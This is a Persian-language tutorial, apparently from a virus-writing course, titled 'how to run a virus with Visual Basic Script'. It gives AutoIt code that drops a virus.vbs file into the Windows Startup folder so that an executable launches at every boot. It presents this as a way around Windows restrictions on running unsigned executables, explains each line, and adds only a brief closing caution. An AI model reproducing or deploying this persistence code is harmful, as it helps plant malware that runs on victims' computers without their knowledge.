چگونه ویروس را با اسکریپت ویژوال بیسیک اجرا کنیم
برای اجرای یک ویروس را در Startup سیستم می توانید از تکه کدی که با ترکیب زبان اسکریپت ویژوال بیسیک و Abdal Autoit ساخته است این عمل را انجام دهید ، شاید...
چگونه ویروس را با اسکریپت ویژوال بیسیک اجرا کنیم
برای اجرای یک ویروس را در Startup سیستم می توانید از تکه کدی که با ترکیب زبان اسکریپت ویژوال بیسیک و Abdal Autoit ساخته است این عمل را انجام دهید ، شاید سوال برای شما ایجاد شود که چرا این ترکیب را انجام داده ایم ، این موضوع بر می گردد به مسائل امنیتی سیستم عامل ویندوز . خیلی وقتها ویندوز در اجرای خودکار فایل های اجرایی که گواهینامه امضای کد ندارد یا حداقل نا معتبر است ، محدودیت هایی قائل می شود ، با این ترفند شما می توانید فایل اجرایی خود را که گواهینامه امضای کد معتبری ندارد با اسکریپت ویژوال بیسیک اجرا کنید . اگر در مورد گواهینامه امضای کد اطلاعاتی ندارید اینجا کلیک کنید .
ابتدا با تکه کدی را که در دوره ویروس نویس با Abdal Autoit ارائه شده آشنا شوید و سپس توضیح آن را شرح خواهیم داد
REM Programmer : Ebrahim Shafiei (EbraSha)
$vbFile = @StartupDir&"\virus.vbs"
$hVbFile= FileOpen($vbFile,1)
FileWrite($hVbFile,"Dim objShell"& @CRLF)
FileWrite($hVbFile,'Set objShell = WScript.CreateObject( "WScript.Shell" )'& @CRLF)
FileWrite($hVbFile,'objShell.Run("""'&@ScriptDir&"\file.exe"&'""")'& @CRLF)
FileWrite($hVbFile,"Set objShell = Nothing"& @CRLF)
FileClose($hVbFile)
البته، این تکه کد به زبان برنامهنویسی Abdal Autoit نوشته شده است تا با ایجاد یک فایل اسکریپت ویژوال بیسیک به اجرای خود در Startup کمک کند . این اسکریپت یک اسکریپت ویژوال بیسیک (VBS) ایجاد میکند که یک فایل اجرایی را اجرا میکند. در اینجا توضیح داده شده است که هر خط از کد چه کاری انجام میدهد:
-
$vbFile = @StartupDir&"\virus.vbs"
: این خط متغیر$vbFile
را با مسیر فایلvirus.vbs
در دایرکتوری استارتآپ سیستم تعریف میکند. این به این معنی است که فایلvirus.vbs
در دایرکتوری که ویندوز در هنگام راهاندازی برنامهها را اجرا میکند، قرار خواهد گرفت. -
$hVbFile= FileOpen($vbFile,1)
: این خط فایل مشخص شده در متغیر$vbFile
را برای نوشتن باز میکند. -
FileWrite($hVbFile,"Dim objShell"& @CRLF)
: این دستور یک خط به فایلvirus.vbs
اضافه میکند که یک متغیرobjShell
تعریف میکند. -
FileWrite($hVbFile,'Set objShell = WScript.CreateObject( "WScript.Shell" )'& @CRLF)
: این خطobjShell
را به عنوان یک شیء ازWScript.Shell
مقداردهی میکند، که اجازه اجرای دستورات ویندوز را میدهد. -
FileWrite($hVbFile,'objShell.Run("""'&@ScriptDir&"\file.exe"&'""")'& @CRLF)
: این خط دستوری را به اسکریپت اضافه میکند کهfile.exe
را از مسیر دایرکتوری اسکریپت اجرا میکند. -
FileWrite($hVbFile,"Set objShell = Nothing"& @CRLF)
: این خط متغیرobjShell
را خالی میکند. -
FileClose($hVbFile)
: این خط فایل را میبندد.
این کد برای ایجاد یک اسکریپت VBS است که یک فایل اجرایی را در Startup سیستم هدف اجرا میکند. استفاده از این نوع اسکریپتها میتواند برای اهداف مخرب مانند ایجاد ویروسها و بدافزار ها استفاده شود ، بنابراین باید با احتیاط و در چارچوب قوانین و مقررات اخلاقی استفاده شود.
دیدگاه های مربوط به این مقاله (برای ارسال دیدگاه در سایت حتما باید عضو باشید و پروفایل کاربری شما تکمیل شده باشد)